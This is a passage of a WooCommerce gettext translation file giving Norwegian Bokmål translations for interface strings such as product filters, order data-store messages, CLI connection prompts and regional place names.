#: i18n/states.php:1942
msgid "Zhytomyrshchyna"
msgstr "Zhytomyrshchyna"
#: i18n/states.php:1941
msgid "Donechchyna"
msgstr "Donechchyna"
#: i18n/states.php:1940
msgid "Dnipropetrovshchyna"
msgstr "Dnipropetrovshchyna"
#: i18n/states.php:1939
msgid "Luhanshchyna"
msgstr "Luhanshchyna"
#: i18n/states.php:1938
msgid "Volyn"
msgstr "Volyn"
#: i18n/states.php:1937
msgid "Vinnychchyna"
msgstr "Vinnychchyna"
#: assets/client/blocks/rating-filter/block.json
msgctxt "block title"
msgid "Filter by Rating Controls"
msgstr "Filtrer etter vurderingskontroller"
#: src/Blocks/BlockTypes/ProductFilters.php:142
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/attribute-filter.js:18
#: assets/client/blocks/filter-wrapper.js:1
#: assets/client/blocks/price-filter.js:5
#: assets/client/blocks/rating-filter.js:9
#: assets/client/blocks/stock-filter.js:8
msgid "Product Filters"
msgstr "Produktfiltre"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:978
msgid "Restrictions"
msgstr "Begrensninger"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:947
msgid "Don't allow purchases"
msgstr "Ikke tillat kjøp"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:940
msgid "Allow purchases, but notify customers"
msgstr "Tillat kjøp, men varsle kundene"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:936
msgid "Allow purchases"
msgstr "Tillat kjøp"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:932
msgid "When out of stock"
msgstr "Når utsolgt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:351
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:292
#: assets/client/admin/product-editor/blocks/product-fields/summary/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Summary"
msgstr "Sammendrag"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:557
msgid "Search or create categories…"
msgstr "Søk eller opprett kategorier…"
#: src/Internal/Admin/Notes/PaymentsMoreInfoNeeded.php:75
msgid "Learn more here"
msgstr "Lær mer her"
#: src/Internal/Admin/Notes/PaymentsMoreInfoNeeded.php:66
msgid "We recently asked you if you wanted more information about WooPayments. Run your business and manage your payments in one place with the solution built and supported by WooCommerce."
msgstr "Vi spurte deg nylig om du ønsket mer informasjon om WooPayments. Driv virksomheten din og administrer betalingene dine på ett og samme sted med løsningen som er utviklet og støttes av WooCommerce."
#: src/StoreApi/Schemas/V1/ProductSchema.php:294
msgid "List of attributes (taxonomy terms) assigned to the product. For variable products, these are mapped to variations (see the `variations` field)."
msgstr "Liste over attributter (taksonomitermer) som er tilordnet produktet. For variable produkter er disse tilordnet varianter (se `varianter`-feltet)."
#: includes/admin/wc-admin-functions.php:541
msgid "Add price"
msgstr "Legg til pris"
#: includes/admin/views/html-admin-page-status-report.php:786
msgid "Is data sync enabled for HPOS?"
msgstr "Er datasynkronisering slått på for HPOS?"
#: includes/admin/views/html-admin-page-status-report.php:785
msgid "HPOS data sync enabled:"
msgstr "HPOS-datasynkronisering slått på:"
#: includes/admin/views/html-admin-page-status-report.php:781
msgid "Datastore currently in use for orders."
msgstr "Datalager i bruk for ordre."
#: includes/admin/views/html-admin-page-status-report.php:780
msgid "Order datastore:"
msgstr "Ordredatalager:"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:219
msgid "Add prices"
msgstr "Legg til priser"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:214
msgid "Add price to all variations that don't have a price"
msgstr "Legg til pris for alle varianter som ikke har en pris"
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:183
msgid " says"
msgstr " sier"
#: i18n/states.php:1684
msgid "Ziguinchor"
msgstr "Ziguinchor"
#: i18n/states.php:1683
msgid "Thiès"
msgstr "Thiès"
#: i18n/states.php:1682
msgid "Tambacounda"
msgstr "Tambacounda"
#: i18n/states.php:1681
msgid "Saint-Louis"
msgstr "Saint-Louis"
#: i18n/states.php:1680
msgid "Sédhiou"
msgstr "Sédhiou"
#: i18n/states.php:1679
msgid "Matam"
msgstr "Matam"
#: i18n/states.php:1678
msgid "Louga"
msgstr "Louga"
#: i18n/states.php:1677
msgid "Kaolack"
msgstr "Kaolack"
#: i18n/states.php:1676
msgid "Kédougou"
msgstr "Kédougou"
#: i18n/states.php:1675
msgid "Kolda"
msgstr "Kolda"
#: i18n/states.php:1674
msgid "Kaffrine"
msgstr "Kaffrine"
#: i18n/states.php:1673
msgid "Fatick"
msgstr "Fatick"
#: i18n/states.php:1672
msgid "Dakar"
msgstr "Dakar"
#: i18n/states.php:1671
msgid "Diourbel"
msgstr "Diourbel"
#: assets/client/blocks/stock-filter/block.json
msgctxt "block title"
msgid "Filter by Stock Controls"
msgstr "Filtrer etter lagerkontroller"
#: assets/client/blocks/rating-filter/block.json
msgctxt "block description"
msgid "Enable customers to filter the product grid by rating."
msgstr "Gjør det mulig for kunder å filtrere produktrutenettet etter vurdering."
#: assets/client/blocks/price-filter/block.json
msgctxt "block title"
msgid "Filter by Price Controls"
msgstr "Filtrer etter priskontroller"
#: assets/client/blocks/inner-blocks/cart-cross-sells-products-block/block.json
msgctxt "block description"
msgid "Shows the Cross-Sells products."
msgstr "Viser kryssalg produktene."
#: assets/client/blocks/inner-blocks/cart-cross-sells-products-block/block.json
msgctxt "block title"
msgid "Cart Cross-Sells Products"
msgstr "Kryssalg-produkter i handlekurven"
#: assets/client/blocks/inner-blocks/cart-cross-sells-block/block.json
msgctxt "block description"
msgid "Shows the Cross-Sells block."
msgstr "Viser Krysssalg-blokken."
#: assets/client/blocks/inner-blocks/cart-cross-sells-block/block.json
msgctxt "block title"
msgid "Cart Cross-Sells"
msgstr "Kryssalg i handlekurven"
#: assets/client/blocks/attribute-filter/block.json
msgctxt "block title"
msgid "Filter by Attribute Controls"
msgstr "Filtrer etter attributtkontroller"
#: src/Blocks/BlockTypes/Cart.php:69 assets/client/blocks/cart.js:2
#: assets/client/blocks/cart.js:12 assets/client/blocks/product-collection.js:1
msgid "You may be interested in…"
msgstr "Du kan være interessert i…"
#: templates/global/quantity-input.php:44
msgid "Product quantity"
msgstr "Produkt antall"
#. translators: %s = name of a WooCommerce feature
#: src/Internal/Features/FeaturesController.php:1832
msgid "Incompatible with '%s'"
msgstr "Inkompatibel med «%s»"
#: src/Internal/Features/FeaturesController.php:1830
msgid "Incompatible with WooCommerce features"
msgstr "Inkompatibel med WooCommerce-funksjoner"
#: src/Internal/Features/FeaturesController.php:1725
msgid "Manage WooCommerce features"
msgstr "Administrer WooCommerce-funksjoner"
#: src/Internal/Features/FeaturesController.php:1718
msgid "⚠ This plugin is incompatible with the enabled WooCommerce features '%1$s', '%2$s' and %3$d more, it shouldn't be activated."
msgstr "⚠ Denne utvidelsen er inkompatibel med de påslåtte WooCommerce-funksjonene «%1$s», «%2$s» og %3$d flere, den skal ikke aktiveres."
#: src/Internal/Features/FeaturesController.php:1711
msgid "⚠ This plugin is incompatible with the enabled WooCommerce features '%1$s' and '%2$s', it shouldn't be activated."
msgstr "⚠ Denne utvidelsen er inkompatibel med de påslåtte WooCommerce-funksjonene «%1$s» og «%2$s», den skal ikke aktiveres."
#. translators: %s = printable plugin name
#: src/Internal/Features/FeaturesController.php:1705
msgid "⚠ This plugin is incompatible with the enabled WooCommerce feature '%s', it shouldn't be activated."
msgstr "⚠ Denne utvidelelsen er inkompatibel med den påslåtte WooCommerce-funksjonen '%s', den skal ikke aktiveres."
#: src/Internal/Features/FeaturesController.php:1619
msgid "<a href='%1$s'>View all plugins</a> - <a href='%2$s'>Manage WooCommerce features</a>"
msgstr "<a href='%1$s'>Se alle utvidelser</a> - <a href='%2$s'>Administrer WooCommerce-funksjoner</a>"
#. translators: %s is a feature name.
#: src/Internal/Features/FeaturesController.php:1613
msgid "You are viewing the active plugins that are incompatible with the '%s' feature."
msgstr "Du ser på aktive uvidelser som er inkompatible med '%s'-funksjonen."
#: src/Internal/Features/FeaturesController.php:1610
msgid "You are viewing active plugins that are incompatible with currently enabled WooCommerce features."
msgstr "Du ser på aktive utvidelser som er inkompatible med nå påslåtte WooCommerce-funksjoner."
#: src/Internal/Features/FeaturesController.php:1567
msgid "WooCommerce has detected that some of your active plugins are incompatible with currently enabled WooCommerce features. Please <a>review the details</a>."
msgstr "WooCommerce har oppdaget at noen av de aktive utvidelsene dine er inkompatible med nå påslåtte WooCommerce-funksjoner. <a>Se gjennom detaljene</a>."
#: src/Internal/Features/FeaturesController.php:1337
msgid "WooCommerce Admin has been disabled"
msgstr "WooCommerce Admin er slått av"
#: src/Internal/Features/FeaturesController.php:1264
msgid "These features are either experimental or incomplete, enable them at your own risk!"
msgstr "Disse funksjonene er enten eksperimentelle eller ufullstendige, slå dem på på egen risiko."
#: src/Internal/Features/FeaturesController.php:1262
msgid "Experimental features"
msgstr "Eksperimentelle funksjoner"
#. translators: 1: class::method 2: before_woocommerce_init
#: src/Internal/Features/FeaturesController.php:824
msgid "%1$s should be called inside the %2$s action."
msgstr "%1$s skal kalles i %2$s-handlingen."
#: src/Internal/DataStores/Orders/OrdersTableFieldQuery.php:228
msgid "Missing table info for query arg."
msgstr "Manglende tabellinformasjon for query arg."
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:462
msgid "Create ad campaigns and reach one billion global users with %1$sTikTok for WooCommerce%2$s"
msgstr "Opprett annonsekampanjer og nå ut til én milliard globale brukere med %1$sTikTok for WooCommerce%2$s"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:300
msgid "Migrate command is deprecated. Please use `sync` instead."
msgstr "Migreringskommandoen er avviklet. Bruk \"synkronisering\" i stedet."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:259
msgid "Sync completed."
msgstr "Synkronisering fullført."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:256
msgid "No orders were synced."
msgstr "Ingen ordre ble synkronisert."
#: assets/client/blocks/stock-filter/block.json
msgctxt "block description"
msgid "Enable customers to filter the product grid by stock status."
msgstr "Tillat kunder å filtrere produkter på lagerstatus."
#: assets/client/blocks/filter-wrapper/block.json
msgctxt "block title"
msgid "Filter Block"
msgstr "Filter-blokk"
#: assets/client/blocks/price-filter/block.json
msgctxt "block description"
msgid "Enable customers to filter the product grid by choosing a price range."
msgstr "Gjør det mulig for kunder å filtrere produktnettet ved å velge en prisklasse."
#: assets/client/blocks/inner-blocks/filled-mini-cart-contents-block/block.json
msgctxt "block description"
msgid "Contains blocks that display the content of the Mini-Cart."
msgstr "Inneholder blokker som viser innholdet i minihandlekurven."
#: assets/client/blocks/featured-product/block.json
msgctxt "block description"
msgid "Highlight a product or variation."
msgstr "Fremhev et produkt eller en variant."
#: assets/client/blocks/attribute-filter/block.json
#: assets/client/blocks/product-filter-attribute/block.json
msgctxt "block description"
msgid "Enable customers to filter the product grid by selecting one or more attributes, such as color."
msgstr "Gjør det mulig for kunder å filtrere produktnettet ved å velge ett eller flere attributter, for eksempel farge."
#: assets/client/blocks/active-filters/block.json
#: assets/client/blocks/product-filter-active/block.json
msgctxt "block description"
msgid "Display the currently active filters."
msgstr "Vis de aktive filtrene."
#. translators: %s: Notification code
#. translators: %s attribute name.
#: src/Internal/StockNotifications/Admin/ListTable.php:114
#: assets/client/blocks/attribute-filter-frontend.js:7
#: assets/client/blocks/attribute-filter-wrapper-frontend.js:7
#: assets/client/blocks/attribute-filter.js:13
msgid "Select %s"
msgstr "Velg %s"
#. translators: 1: opening link tag 2: closing link tag.
#: src/Internal/Orders/MobileMessagingHandler.php:175
msgid "Process your orders on the go. %1$sGet the app%2$s."
msgstr "Behandle ordrene når du er på farten. %1$sLast ned appen%2$s."
#. translators: 1: opening link tag 2: closing link tag.
#: src/Internal/Orders/MobileMessagingHandler.php:146
msgid "%1$sManage the order%2$s with the app."
msgstr "%1$sAdministrer ordren%2$s med appen."
#. translators: 1: opening link tag 2: closing link tag.
#: src/Internal/Orders/MobileMessagingHandler.php:114
msgid "%1$sCollect payments easily%2$s from your customers anywhere with our mobile app."
msgstr "%1$sSamle inn betalinger enkelt%2$s fra kundene dine hvor som helst med mobilappen vår."
#. translators: 1: order ID, 2: order status
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2717
msgid "Something went wrong when trying to restore order %d from the trash. It could not be restored."
msgstr "Noe gikk galt under forsøk på å gjenopprette ordren %d fra papirkurven. Den kunne ikke gjenopprettes."
#. translators: 1: order ID, 2: order status
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2681
msgid "The previous status of order %1$d (\"%2$s\") is invalid. It could not be restored."
msgstr "Den forrige statusen for ordren %1$d (\"%2$s\") er ugyldig. Den kunne ikke gjenopprettes."
#. translators: 1: order ID, 2: order status
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2669
msgid "The previous status of order %1$d (\"%2$s\") is invalid. It has been restored to \"pending\" status instead."
msgstr "Den forrige statusen for ordren %1$d (\"%2$s\") er ugyldig. Den har blitt gjenopprettet til \"venter\"-status i stedet."
#. translators: 1: order ID, 2: order status
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2651
msgid "Order %1$d cannot be restored from the trash: it has already been restored to status \"%2$s\"."
msgstr "Ordren %1$d kan ikke gjenopprettes fra papirkurven: den er allerede gjenopprettet til status \"%2$s\"."
#: src/Admin/Features/OnboardingTasks/Tasks/GetMobileApp.php:27
msgid "Get the free WooCommerce mobile app"
msgstr "Få den gratis WooCommerce-mobilappen"
#: src/Admin/API/OnboardingProfile.php:489
msgid "Whether or not this store country is set via onboarding profiler."
msgstr "Hvorvidt dette butikklandet er angitt via onboarding-profiler eller ikke."
#: src/Admin/API/Notes.php:823
msgid "Registers whether the note is read or not"
msgstr "Registrerer om notatet er lest eller ikke"
#: src/Admin/API/MobileAppMagicLink.php:96
msgid "Jetpack is not connected."
msgstr "Jetpack er ikke tilkoblet."
#: src/Blocks/BlockTypes/MiniCart.php:923
msgid "Empty Mini-Cart Message"
msgstr "Tom mini handlekurv melding"
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2116
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2432
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:46
msgid "Ensure meta_data excludes specific keys."
msgstr "Sørg for at meta_data ekskluderer spesifikke nøkler."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2107
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2423
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:55
msgid "Limit meta_data to specific keys."
msgstr "Begrens meta_data til spesifikke nøkler."
#: includes/data-stores/class-wc-customer-download-data-store.php:292
msgid "Unsupported argument type provided as value."
msgstr "Ustøttet argumenttype oppgitt som verdi."
#. translators: %s is the URL for the application-password section in
#. WooCommerce.com.
#: includes/cli/class-wc-cli-com-command.php:175
msgid "Invalid password. Generate a new one from %s."
msgstr "Ugyldig passord. Generer en ny fra %s."
#: includes/cli/class-wc-cli-com-command.php:170
msgid "Connection password:"
msgstr "Tilkoblingspassord:"
#. translators: %s is the URL for the application-password section in
#. WooCommerce.com.
#: includes/cli/class-wc-cli-com-command.php:169
msgid "If you don't have an application password (not your account password), generate a password from %s"
msgstr "Hvis du ikke har et applikasjonspassord (ikke kontopassordet), generer et passord fra %s"
#: includes/cli/class-wc-cli-com-command.php:161
msgid "Your store is already connected."
msgstr "Butikken din er allerede tilkoblet."
#: includes/cli/class-wc-cli-com-command.php:122
msgid "Are you sure you want to disconnect your store from WooCommerce.com?"
msgstr "Er du sikker på at du vil koble fra butikken din fra WooCommerce.com?"
#: includes/cli/class-wc-cli-com-command.php:119
msgid "Your store is not connected to WooCommerce.com. Run `wp wc com connect` command."
msgstr "Butikken din er ikke koblet til WooCommerce.com. Kjør kommandoen `wp wc com connect`."
#: includes/admin/settings/class-wc-settings-products.php:443
msgid "Customers can still save the file to their device, but by default file will be opened instead of being downloaded (does not work with redirects)."
msgstr "Kunder kan fortsatt lagre filen på enheten sin, men som standard åpnes filen i stedet for å lastes ned (fungerer ikke med omdirigeringer)."
#: includes/admin/settings/class-wc-settings-products.php:439
msgid "Open downloadable files in the browser, instead of saving them to the device."
msgstr "Åpne nedlastbare filer i nettleseren, i stedet for å lagre dem på enheten."
#: includes/admin/settings/class-wc-settings-products.php:438
msgid "Open in browser"
msgstr "Åpne i nettleseren"
#: includes/admin/class-wc-admin-assets.php:645
msgid "Summarize this product in 1-2 short sentences. We’ll show it at the top of the page."
msgstr "Oppsummer dette produktet i 1-2 korte setninger. Vi viser det øverst på siden."
#: includes/admin/class-wc-admin-assets.php:644
#: assets/client/admin/product-editor/index.js:2
msgid "Describe this product. What makes it unique? What are its most important features?"
msgstr "Beskriv dette produktet. Hva gjør den unik? Hva er dens viktigste funksjoner?"
#: includes/admin/class-wc-admin-assets.php:643
msgid "Product types define available product details and attributes, such as downloadable files and variations. They’re also used for analytics and inventory management."
msgstr "Produkttyper definerer tilgjengelige produktdetaljer og attributter, for eksempel nedlastbare filer og varianter. De brukes også til analyser og lagerstyring."
#: includes/admin/class-wc-admin-assets.php:642
msgid "<b>Variable –</b> a product with variations, each of which may have a different SKU, price, stock option, etc. For example, a t-shirt available in different colors and/or sizes."
msgstr "<b>Variabelt –</b> et produkt med varianter, som hver kan ha forskjellig produktnummer, pris, lagervalg osv. For eksempel en t-skjorte tilgjengelig i forskjellige farger og/eller størrelser."
#: includes/admin/class-wc-admin-assets.php:641
msgid "<b>External or Affiliate –</b> one that you list and describe on your website but is sold elsewhere."
msgstr "<b>Ekstern eller affiliate –</b> en som du lister og beskriver på nettstedet ditt, men som selges andre steder."
#: includes/admin/class-wc-admin-assets.php:640
msgid "<b>Grouped –</b> a collection of related products that can be purchased individually and only consist of simple products. For example, a set of six drinking glasses."
msgstr "<b>Gruppert –</b> en samling relaterte produkter som kan kjøpes individuelt og kun består av enkle produkter. For eksempel et sett med seks drikkeglass."
#: includes/admin/class-wc-admin-assets.php:639
msgid "<b>Simple –</b> covers the vast majority of any products you may sell. Simple products are shipped and have no options. For example, a book."
msgstr "<b>Enkel –</b> dekker det store flertallet av alle produkter du kan selge. Enkle produkter sendes og har ingen alternativer. For eksempel en bok."
#: i18n/states.php:180
msgid "Sofia District"
msgstr "Sofia District"
#: assets/client/blocks/all-products/block.json
msgctxt "block description"
msgid "Display products from your store in a grid layout."
msgstr "Vis produkter fra butikken din i et rutenett."
#: assets/client/blocks/all-products/block.json
msgctxt "block title"
msgid "All Products"
msgstr "Alle produkter"
#: assets/client/blocks/product-category/block.json
msgctxt "block description"
msgid "Display a grid of products from your selected categories."
msgstr "Vis et rutenett med produkter fra de valgte kategoriene."
#: assets/client/blocks/product-category/block.json
msgctxt "block title"
msgid "Products by Category"
msgstr "Produkter per kategori"
#: assets/client/blocks/product-categories/block.json
msgctxt "block description"
msgid "Show all product categories as a list or dropdown."
msgstr "Vis alle produktkategorier som liste eller rullegardin."
#: assets/client/blocks/product-categories/block.json
msgctxt "block title"
msgid "Product Categories List"
msgstr "Liste over produktkategorier"
#: assets/client/blocks/product-best-sellers/block.json
msgctxt "block description"
msgid "Display a grid of your all-time best selling products."
msgstr "Vis et rutenett over de mest solgte produkter."
#: assets/client/blocks/product-best-sellers/block.json
msgctxt "block title"
msgid "Best Selling Products"
msgstr "Bestselgere"
#: src/Internal/Admin/Orders/PageController.php:72
msgid "You cannot edit this item because it is in the Trash. Please restore it and try again."
msgstr "Du kan ikke redigere dette elementet fordi det ligger i papirkurven. Gjenopprett det og prøv igjen."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:124
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:175
msgid "This info will be displayed on the product page, category pages, social media, and search results."
msgstr "Denne informasjonen vil bli vist på produktsiden, kategorisidene, sosiale medier og søkeresultater."
#: templates/single-product/product-attributes.php:26
msgid "Product Details"
msgstr "Produktdetaljer"
#: templates/cart/shipping-calculator.php:86
msgid "Postcode / ZIP:"
msgstr "Postnummer:"
#: templates/cart/shipping-calculator.php:79
msgid "City:"
msgstr "Poststed:"
#: templates/cart/shipping-calculator.php:30
msgid "Country / region"
msgstr "Land/Region"
#: templates/cart/cart.php:29
msgid "Thumbnail image"
msgstr "Miniatyrbilde"
#. Translators: %s is a table identifier.
#: src/Internal/DataStores/Orders/OrdersTableQuery.php:1474
msgid "Invalid table id: %s."
msgstr "Ugyldig tabell-id: %s."
#. translators: %s is a table name.
#: src/Internal/DataStores/Orders/OrdersTableQuery.php:1032
msgid "Can not re-use table alias \"%s\" in OrdersTableQuery."
msgstr "Kan ikke gjenbruke tabellaliaset \"%s\" i OrdersTableQuery."
#. translators: %s is a table name.
#: src/Internal/DataStores/Orders/OrdersTableQuery.php:1018
msgid "%s can not be used as a table alias in OrdersTableQuery"
msgstr "%s kan ikke brukes som et tabellalias i OrdersTableQuery"
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:1348
msgid "Invalid order IDs in call to read_multiple()"
msgstr "Ugyldige ordre-id-er i kall til read_multiple()"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:112
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:162
msgid "List products and create ads on Facebook and Instagram."
msgstr "Vis produkter og lag annonser på Facebook og Instagram."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:154
msgid "List products and create ads on Facebook and Instagram with <a href=\"https://woocommerce.com/products/facebook/\">Facebook for WooCommerce</a>"
msgstr "Vis produkter og lag annonser på Facebook og Instagram med <a href=\"https://woocommerce.com/products/facebook/\">Facebook for WooCommerce</a>"
#: src/Internal/Admin/Orders/PageController.php:83
msgid "You don't have permission to create a new order."
msgstr "Du har ikke tillatelse til å opprette en ny ordre."
#: src/Internal/Admin/Orders/PageController.php:68
msgid "You do not have permission to edit this order."
msgstr "Du har ikke tillatelse til å redigere denne ordren."
#: src/Internal/Admin/Orders/PageController.php:60
msgid "You attempted to edit an order that does not exist. Perhaps it was deleted?"
msgstr "Du forsøkte å redigere en ordre som ikke eksisterer. Kanskje den ble slettet?"
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:398
msgid "Key"
msgstr "Nøkkel"
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:176
msgid "Add Custom Field"
msgstr "Legg til tilpasset felt"
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:163
msgid "Enter new"
msgstr "Fyll inn ny"
#: src/Blocks/BlockTypes/ProductSpecifications.php:142
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:150
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:408
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-specifications.js:2
msgid "Value"
msgstr "Verdi"
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:145
msgid "Add New Custom Field:"
msgstr "Legg til nytt tilpasset felt:"
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:83
msgid "https://wordpress.org/support/article/custom-fields/"
msgstr "https://wordpress.org/support/article/custom-fields/"
#. translators: 1: opening documentation tag 2: closing documentation tag.
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:82
msgid "Custom fields can be used to add extra metadata to an order that you can %1$suse in your theme%2$s."
msgstr "Egendefinerte felt kan brukes til å legge til ekstra metadata i en ordre som du kan %1$sbruke i temaet ditt%2$s."
#: src/Internal/Admin/Orders/Edit.php:200
msgid "Custom Fields"
msgstr "Egendefinerte felt"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:871
msgid "With WooPayments, you can securely accept major cards, Apple Pay, and payments in over 100 currencies – with no setup costs or monthly fees – and you can now accept in-person payments with the Woo mobile app."
msgstr "Med WooPayments kan du på en sikker måte ta imot de vanligste kortene, Apple Pay og betalinger i over 100 valutaer - uten installasjonskostnader eller månedlige avgifter - og du kan nå ta imot personlige betalinger med Woo-mobilappen."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:794
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:836
msgid "With WooPayments, you can securely accept major cards, Apple Pay, and payments in over 100 currencies. Track cash flow and manage recurring revenue directly from your store’s dashboard - with no setup costs or monthly fees."
msgstr "Med WooPayments kan du på en sikker måte ta imot de vanligste kortene, Apple Pay og betalinger i over 100 valutaer. Du kan spore kontantstrømmen og administrere løpende inntekter direkte fra butikkens dashbord - uten installasjonskostnader eller månedlige avgifter."
#: src/Admin/API/PaymentGatewaySuggestions.php:52
msgid "Return the default payment suggestions when woocommerce_show_marketplace_suggestions and woocommerce_setting_payments_recommendations_hidden options are set to no"
msgstr "Returner standard betalingsforslag når alternativene for woocommerce_show_marketplace_suggestions og woocommerce_setting_payments_recommendations_hidden er satt til nei"
#: src/Blocks/Templates/ProductSearchResultsTemplate.php:44
msgid "Displays search results for your store."
msgstr "Viser søkeresultater for butikken din."
#: src/Blocks/Templates/ProductTagTemplate.php:51
msgid "Displays products filtered by a tag."
msgstr "Viser produkter filtrert etter stikkord."
#: src/Blocks/Templates/ProductCategoryTemplate.php:51
msgid "Displays products filtered by a category."
msgstr "Viser produkter filtrert etter en kategori."
#: src/Blocks/Templates/ProductCatalogTemplate.php:45
msgid "Displays your products."
msgstr "Viser produktene dine."
#: src/Blocks/Templates/SingleProductTemplate.php:47
msgid "Displays a single product."
msgstr "Viser ett enkelt produkt."
#: src/StoreApi/Schemas/V1/CartSchema.php:165
msgid "List of cross-sells items related to cart items."
msgstr "Liste over krysssalgsvarer relatert til handlekurvvarer."
#. translators: %1s: file name; %2s: slug value found.
#: src/Blocks/Patterns/PatternRegistry.php:89
msgid "Could not register pattern \"%s\" as a block pattern (\"Title\" field missing)"
msgstr "Kunne ikke registrere mønsteret \"%s\" som et blokkmønster (\"Tittel\"-feltet mangler)"
#. translators: %1s: file name; %2s: slug value found.
#: src/Blocks/Patterns/PatternRegistry.php:64
msgid "Could not register pattern \"%1$s\" as a block pattern (invalid slug \"%2$s\")"
msgstr "Kunne ikke registrere mønsteret \"%1$s\" som et blokkmønster (ugyldig identifikator \"%2$s\")"
#. translators: %s: file name.
#: src/Blocks/Patterns/PatternRegistry.php:49
msgid "Could not register pattern \"%s\" as a block pattern (\"Slug\" field missing)"
msgstr "Kunne ikke registrere mønsteret \"%s\" som et blokkmønster (\"Identifikator\"-feltet mangler)"
#. translators: %d is an order ID.
#: includes/class-wc-order-factory.php:100
msgid "Could not find classname for order ID %d"
msgstr "Kunne ikke finne klassenavn for ordre-id %d"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:807
msgid "Order date, hour, minute and/or second are missing."
msgstr "Ordredato, time, minutt og/eller sekund mangler."
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:694
msgid "Payment method is missing."
msgstr "Betalingsmåte mangler."
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:690
msgid "Order status is missing."
msgstr "Ordrestatus mangler."
#. translators: %s: Total count of terms available for the attribute
#: includes/admin/class-wc-admin-attributes.php:394
msgid "%s terms"
msgstr "%s termer"
#: includes/admin/class-wc-admin-attributes.php:391
msgid "1 term"
msgstr "1 term"
#. translators: 1: Comma-separated terms list, 2: how many terms are hidden
#: includes/admin/class-wc-admin-attributes.php:387
msgid "%1$s... (%2$s more)"
msgstr "%1$s... (%2$s flere)"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:36
msgid "Wow your shoppers"
msgstr "Imponer kundene dine"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:235
#: assets/client/admin/chunks/6568.js:1
msgid "Discounted rates"
msgstr "Rabatterte priser"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:231
#: assets/client/admin/chunks/6568.js:1
msgid "Pick up an order, then just pay, print, package and post."
msgstr "Hent en ordre, så er det bare å betale, skrive ut, pakke og poste."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:230
#: assets/client/admin/chunks/6568.js:1
msgid "Print at home"
msgstr "Skriv ut hjemme"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:226
#: assets/client/admin/chunks/6568.js:1
msgid "No need to wonder where that stampbook went."
msgstr "Du trenger ikke å lure på hvor den frimerkeboken ble av."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:225
#: assets/client/admin/chunks/6568.js:1
msgid "Buy postage when you need it"
msgstr "Kjøp porto når du trenger det"
#. translators: %s is a table name.
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2076
msgid "Could not persist order to database table \"%s\"."
msgstr "Kunne ikke fortsette rekkefølgen til databasetabellen \"%s\"."
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2057
msgid "Could not create order in posts table."
msgstr "Kunne ikke opprette rekkefølge i innleggstabellen."
#. translators: %d: orders count
#. translators: %s: orders count
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:563
#: src/Internal/Admin/Orders/ListTable.php:1629
msgid "%s order status changed."
msgid_plural "%s order statuses changed."
msgstr[0] "%s ordrestatus endret."
msgstr[1] "%s ordrestatusser endret."
#: src/Internal/Admin/Orders/ListTable.php:1560
msgid "Order status changed by bulk edit."
msgstr "Ordrestatus endret av masseredigering."
#. translators: %s: is referring to the plugin's name.
